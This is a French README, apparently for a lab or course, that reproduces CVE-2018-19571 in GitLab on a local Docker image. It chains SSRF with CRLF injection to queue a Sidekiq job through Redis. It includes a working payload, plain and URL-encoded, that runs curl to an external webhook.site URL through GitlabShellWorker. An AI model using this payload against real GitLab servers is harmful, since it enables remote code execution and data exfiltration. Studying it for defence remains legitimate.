
Démonstration de CVE-2018-19571: GitLab SSRF CVE
Ce dépôt est une reproduction de CVE-2018-19571, et montre comment, combiné à une exploitation par injection CRLF, peut mener à une exécution de code à distance (RCE).
GitLab CE/EE, versions 8.18 jusqu'à 11.x avant 11.3.11, 11.4 avant 11.4.8 et 11.5 avant 11.5.1, sont vulnérables à une vulnérabilité SSRF dans les webhooks.
Pour cette reproduction, nous utiliserons une image GitLab vulnérable, et la lancerons avec Docker Compose.
git clone https://github.com/CS4239-U6/gitlab-ssrf.git
cd gitlab-ssrf
docker-compose up
L'objectif est de fournir une URL de webhook qui, lorsqu'elle sera traitée, enverra une charge utile à Redis.
Cette charge utile, qui sera mise en file d'attente, contiendra un Job Sidekiq, qui, lors de son exécution, exécutera du code shell arbitraire. Dans notre cas, elle copiera la valeur du flag pour nous.
Créez un compte, ou connectez-vous avec le compte root.
Le mot de passe root devrait être password, comme spécifié dans le fichier initial_root_password, mais il arrive que cela ne se charge pas correctement.
Dans ce cas, vous devrez modifier directement le mot de passe du compte root.
docker exec -it gitlab-ssrf_web_1 /bin/bash
# Inside the shell
gitlab-rails console
# Inside the console
user = User.find_by_username 'root'
user.password = 'password'
user.password_confirmation = 'password'
user.save!
Ensuite, dirigez-vous vers http://localhost:5080 et connectez-vous.

Accédez à la page de création de projet.
Ensuite, allez sur http://localhost:5080/projects/new et cliquez sur l'onglet Import project. Vous devriez voir une option : Repo by URL. Nous allons l'utiliser pour effectuer notre attaque SSRF.

Créez un webhook pour recevoir le flag.
Créez une URL de webhook sur https://webhook.site/.
Remplacez l'URL du webhook dans la charge utile suivante :
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| curl https://webhook.site/807b6a27-314e-4947-b5f1-c384d8dc574f -k\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
/ssrf.git
Enfin, nous encodons ce qui précède à l'aide d'un encodeur URL. Notez que nous encoderons uniquement la charge utile (qui inclut les espaces au début et les sauts de ligne), et non la première et la dernière ligne. Vous devrez également utiliser CRLF. Enfin, remplacez les caractères suivants, le cas échéant, par leur encodage respectif :
_: %5F.: %2E-: %2DSi ce qui précède échoue, vous devrez peut-être activer les requêtes sortantes vers les services internes.

Vous pouvez le faire à l'adresse http://localhost:5080/admin/application_settings/network après vous être connecté en tant que root.
Nous exploitons deux vulnérabilités pour cette attaque. La première vulnérabilité est SSRF, où les services internes peuvent être atteints via IPv6. Vous pouvez trouver plus d'informations sur l'issue GitLab ici : https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242.
La seconde vulnérabilité est que les sauts de ligne étaient autorisés dans l'URL des webhooks.
Ces deux vulnérabilités combinées nous permettent de passer une charge utile au service interne. Dans ce cas, nous ciblons le service Redis local.
La charge utile que nous passons met en file d'attente un nouveau job dans la file Redis, et ce job est en réalité traité par Sidekiq, un exécuteur de jobs asynchrones fonctionnant avec Ruby on Rails. Nous ciblons spécifiquement la classe de job GitlabShellWorker, qui nous permet d'exécuter du code arbitraire.
class GitlabShellWorker
include ApplicationWorker
include Gitlab::ShellAdapter
def perform(action, *arg)
gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend
end
end
Ainsi, en passant open('| curl <URL HERE>').read et en l'exécutant avec class_eval, nous pouvons déclencher l'exécution de code à distance.
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7C%20curl%20https%3A%2F%2Fwebhook%2Esite%2F807b6a27%2D314e%2D4947%2Db5f1%2Dc384d8dc574f%20%2Dk%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git
(Ou vous pouvez simplement utiliser cette charge utile ci-dessus, et consulter https://webhook.site/#!/807b6a27-314e-4947-b5f1-c384d8dc574f/ pour voir le résultat).

Vous devriez voir qu'une requête GET a été faite vers le webhook (et elle se répétera car GitLab essaie de récupérer le dépôt à plusieurs reprises).
